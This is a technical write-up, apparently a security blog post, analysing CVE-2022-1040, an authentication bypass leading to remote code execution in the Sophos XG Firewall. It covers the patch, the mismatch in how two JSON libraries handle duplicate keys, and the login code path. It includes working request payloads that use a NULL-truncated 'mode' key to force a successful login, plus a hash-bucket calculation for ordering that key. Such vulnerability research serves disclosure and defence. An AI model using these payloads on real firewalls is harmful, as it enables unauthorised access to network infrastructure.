-->

Sophos XG Firewall Authentication bypass allowing Remote Code Execution - CVE-2022-1040

 

Sophos XG Firewall

Sophos XG Firewall is a firewall solution that provides a combination of both Firewall and Endpoint for information technology infrastructure.

Sophos XG Firewall introduces an innovative approach to the way that you manage your firewall, and how you can detect and respond to threats on your network.

Architecture

Previously, there was a very detailed analysis of the system architecture of Sophos XG Firewall Sophos XG - A Tale of the Unfortunate Re-engineering of an N-Day and the Lucky Find of a 0-Day, so this article will not go into detail about each component, but only summarize some parts.

Focusing on the Web application part, the application can be divided into the following main parts

  • Apache: WebServer, receiving connections from outside.
  • Jetty: WebServer of WebConsole and WebPortal is forwarded from Apache. Requests are filtered, initiated, and passed back to the CSC. The session is also handled here.
  • CSC: Handles the main requirements of the whole system. CSC uses a protocol akin to HTTP over both TCP and UDP. CSC is written in C but the logic is written in Perl through the Perl C Language Interface.
  • Perl package: contains information about verification schemes and the logic of queries.
  • Postgresql: used by both Jetty, CSC, and Perl to query the data on the Database.

It can flow by diagram by codewhitesec below

CVE-2022-1040

On Sophos's Advisory, they only provide that this is an Authentication Bypass vulnerability and do not provide further information about the vulnerability.

An authentication bypass vulnerability allowing remote code execution was discovered in the User Portal and Webadmin of Sophos Firewall and responsibly disclosed to Sophos. It was reported via the Sophos bug bounty program by an external security researcher. The vulnerability has been fixed.

Note that the default WebConsole (Web Admin) already has a lot of features related to Firewall control. If you can bypass authentication, then RCE from here is quite easy.

Before analyzing, I also read through a quick analysis of this patch from AttackKB about how they added the Json filter input.

Patch analysis

At the Java Web level, they add a Filter to control the input Jsons, remove the characters in the request from the non-printable format, ie remove characters less than 0x20, and remove undefined characters in Unicode greater than 0x007f.

This handling gives the idea of improper Json handling between JSON libraries. You can refer to the article An Exploration of JSON Interoperability Vulnerabilities.

For this case, the behavior is when the Key is duplicated.

Duplicate keys in JSON

JSON is a type of data in key-value pairs. The JSON specifications do not mention the handling of the implementations when key duplication occurs.

  • ECMA-404 "The JSON Data Interchange Syntax" does not mention whether or not key duplication occurs.
  • RFC 8259 "The JavaScript Object Notation (JSON) Data Interchange Format" only mentions that the Keys SHOULD not match.

The names within an object SHOULD be unique.

So leading to this handling behavior will depend on how the library handles it. In the Sophos XG Firewall, both WebConsole and CSC use their libraries for JSON processing, and the two libraries have different behaviors.

Web Console uses a fairly old library org.json-20090211, for duplicate keys, this library will throw an Exception.

import org.json.JSONObject
 
val json = JSONObject("{ \"name\": \"test\", \"name\": \"test2\"}")

println(json)

Output: org.json.JSONException: Duplicate key "name"
   at org.json.JSONObject.putOnce(JSONObject.java:1094)
   at org.json.JSONObject.<init>(JSONObject.java:206)
   at org.json.JSONObject.<init>(JSONObject.java:420)


json-c in CSCS

CSC uses the json-c library in the C part to parse the input data. This library will overwrite the old data if the key is duplicated.

#include <iostream>
#include <json-c/json.h>

int main() {
    auto jsonObj = json_tokener_parse(R"({ "name": "test1", "name": "test2"})");
    std::cout << json_object_to_json_string(jsonObj) << std::endl;
    return 0;
}

Output: { "name": "test2" }

The org.json of the Java library will not have this behavior and will retain the key.

Authentication Flow

Introduction to the above issues, we can imagine how to exploit this vulnerability by using NULL as the truncation key and overriding the values so that CSC returns the correct response for WebConsole and UserPortal to bypass auth.

The implementation details in Java are as follows

The login request is handled at the Controller, Sophos XG Firewall uses EventBean to define and verify the data later.

public class CyberoamCommonServlet extends HttpServlet {
  private void _doPost(HttpServletRequest servletRequest, HttpServletResponse response, int mode, SqlReader sqlReader) throws IOException, JSONException {
    EventBean eventObject = null;
    //...
    eventObject = EventBean.getEventByMode(mode);
    // ...
    String transactionID = CSCClient.getTransactionID();
    transactionBean.setTransactionID(transactionID);
    CyberoamCustomHelper.process(request, response, eventObject, transactionBean, sqlReader);
    // ...
  }
}

The EventBean is sent back to CyberoamCustomHelper and then to WebAdminAuth or UserPortalAuth to make a query to the CSC and verify the response again.

public class WebAdminAuth {
  public static void process(final HttpServletRequest request, final HttpServletResponse response, final EventBean eventBean, final SqlReader sqlReader) {
    final JSONObject jsonObject = new JSONObject(request.getParameter("json"));
    final int languageId = jsonObject.getInt("languageid");
    final int returnedStatus = cscClient.generateAndSendAjaxEvent(request, response, eventBean, sqlReader);
    if (returnedStatus == 200 || returnedStatus == 201) {
      String uname = "";
      if (jsonObject.has("username")) {
        uname = jsonObject.getString("username");
      }
      
      // ...

      final SessionBean sessionBean = new SessionBean();
      sessionBean.setUserName(uname);
      // ...
    }
  }
}

WebAdminAuth only takes the returnedStatus parameter from cscClient to determine if the user is authenticated or not.

public class CSCClient {
  public int generateAndSendAjaxEvent(final HttpServletRequest request, final HttpServletResponse response, final EventBean eventBean, final SqlReader sqlReader, final boolean callOpcodeInParallel) {
    int returnedStatus = 500;
    try {
      final TransactionBean transactionBean = new TransactionBean();
      final JSONObject jsonObject = GenerateOpCode.generateOpCode(eventBean, request, response, transactionBean);
      if (jsonObject != null) {
        if (callOpcodeInParallel) {
          returnedStatus = this.sendInParallel(eventBean, jsonObject, request, sqlReader);
        } else {
          returnedStatus = this.send(eventBean, jsonObject, request, sqlReader);
        }
      }
    } catch (final Exception e) {
      CyberoamLogger.error("CSC", "Error in generateAndSendAjaxEvent() : ", e);
      return returnedStatus;
    }
    return returnedStatus;
  }

  private int _send(final EventBean eventBean, final JSONObject reqJSONObj, final HttpServletRequest req, final SqlReader sqlReader) {
    doLogging(eventBean, reqJSONObj);
    int returnValue = 200;
    try {
      // ...
      if (CSCConstants.isCCC) {
        // ...
      }
      else {
        reqJSONObj.put("mode", eventBean.getMode());

        //...
        
        final byte[] buff = GenerateOpCode.getOpcodeWithHeader(eventBean, reqJSONObj);
        final String strResponse = "";
        if ("u".equalsIgnoreCase(eventBean.getComProtocol())) {
          returnValue = this.sendUDP(buff, eventBean);
        }
        else {
          returnValue = this.sendTCP(buff, eventBean);
        }
      }
    }
    catch (final Exception e) {
      CyberoamLogger.error("CSC", "Exception occured in _send(): " + e, e);
      returnValue = 598;
    }
    return returnValue;
  }
  
  

  private int sendTCP(final byte[] buff, final EventBean eventBean) {
    try {
      //...

      returnValue = this.getStatusFromResponse(strResponse.toString(), eventBean);
    } catch (final Exception e) {
      return 598;

    }
    return returnValue;
  }

  private int sendUDP(byte[] buff, final EventBean eventBean) {
      // Same sendTCP
  }
}

GenerateOpCode.generateOpCode() is a function that returns Json with input data, redundant information will be normalized according to Request and EventBean. The GenerateOpCode.getOpcodeWithHeader() method generates a CSC TCP/UDP query. Data will send at _send() and verify again at getStatusFromResponse()

public class CSCClient {
  public int getStatusFromResponse(final String response, final EventBean eventBean) {
    int returnValue = 500;
    try {
      String strStatus = "";
      if (eventBean.getResponseType() == 1) {
        // ...
      } else {
        final int index2 = response.indexOf("\n\n");
        if (index2 != -1) {
          final String returnstring = response.substring(index2 + 2);
          final JSONObject json = new JSONObject(returnstring);
          strStatus = json.get("status").toString();
          this.setStatusMessage(json.get("statusmessage").toString());
        }
      }
      returnValue = Integer.parseInt(strStatus.trim());
    } catch (final Exception e) {
      returnValue = 598;
    }
    
    return returnValue;
  }
}

getStatusFromResponse() relies on eventBean.getResponseType() to determine the format and return data of CSC, here Response Type of login is 2. In order to login, the returned data needs at least 2 arguments following

{
    "status": "200",
    "statusmessage": "something not null"
}

Exploit

First, it is necessary to choose a mode that satisfies Response Type 2 and returns at least the above two parameters. About 1200 modes are running on the CSC side, of which 161 modes have a Response Type is 2 and the number is not much to return the above data response, I immediately found the modes 716 and 183. And try inserting a complete payload and will get a complete request to the CSC.

opcode apiInterface csc/1.2
content-type:json
content-length:312

{"mode":151 ,"password":"somethingnotpassword","___serverport":4444,"___component":"GUI","APIVersion":"1805.2","browser":"Firefox_100","___serverprotocol":"HTTP","languageid":"1","transactionid":"55669","___serverip":"   10.10.10.15  ","currentlyloggedinuserip":"10.10.10.1","username":"admin"}


csc/1.2 500 OK
content-length:61

{ "status": "500", "statusmessage": "Authentication failed" }

---
opcode apiInterface csc/1.2
content-type:json
content-length:343

{"mode":151 ,"password":"somethingnotpassword","___serverport":4444,"___component":"GUI","APIVersion":"1805.2","browser":"Firefox_100","___serverprotocol":"HTTP","languageid":"1","transactionid":"55669","___serverip":"   10.10.10.15","currentlyloggedinuserip":"10.10.10.1","username":"admin", "accessaction":1, "mode\u0000":716}


csc/1.2 200 OK
content-length:47

{ "status": "200", "statusmessage": "success" }

Although mode was originally set to 151, it was reset to 716 by the key mode\u0000 due to the NULL character leading to truncation, so it was set to 716 which always returned 200 as above.

Next, we need to adjust so that WebConsole and UserPortal can send the above payload back to the CSC instead of the original login payload. By default, the Controller will take all data to send back to the CSC. However, the above payload will always receive a Response is -1.

POST /webconsole/Controller HTTP/1.1
// Other request header

mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000"%3a716}&__RequestType=ajax&t=1653896534066


HTTP/1.1 200 OK
// Other response header

{"redirectionURL":"/webpages/login.jsp","status":-1}

The reason was that mode\u0000 was not included after the mode key.

{"___serverport":4444,"___component":"GUI","languageid":"1","mode\u0000":716,"transactionid":"72","accessaction":1,"mode":151,"password":"somethingnotpassword","currentlyloggedinuserid":3,"APIVersion":"1805.2","browser":"Chrome_101","___serverprotocol":"HTTP","___username":"admin","___meta":{"sessionType":1},"___serverip":"10.10.10.15","currentlyloggedinuserip":"10.10.10.1","username":"admin"}

The reason is that JSONObject is implemented using HashMap. Keys will be placed in buckets by their hash value. When retrieved, the Key-Value values will be retrieved in the correct order of the Bucket corresponding to the value of the Hash value out. So it will be necessary to select a value after that so that it comes after mode.

import java.util.Arrays;

static int hash(Object key) {
  int h;
  return key == null ? 0 : (h = key.hashCode()) ^ h >>> 16;
}

static int getBucket(Object key, int capacity) {
  return hash(key) & capacity - 1;
}

String[] keys = {"mode", "mode\u0000", "mode\u0000ef"};

Arrays.stream(keys).forEach((key) -> {
  System.out.println("Key " + key + " put in bucket " + getBucket(key, 32));
});

Key mode put in bucket 16
Key mode[NULL] put in bucket 14
Key mode[NULL]ef put in bucket 30

Putting everything above into the payload, we get Exploit.


Note that, after going through the processing step from CSC, WebConsole and UserPortal still use usernames to query more information, so they need usernames that already exist in the system to exploit.

In subsequent versions, Sophos has patched it by not allowing unauthorized characters to be entered in Endpoints as analyzed by AttackKB analyzed.

Summary

With more than 10,000 WebConsoles being public, there are about 1000 WebConsoles that have not been patched yet but accounting for a large number of large IPSs, they are very vulnerable to attacks on the Internet.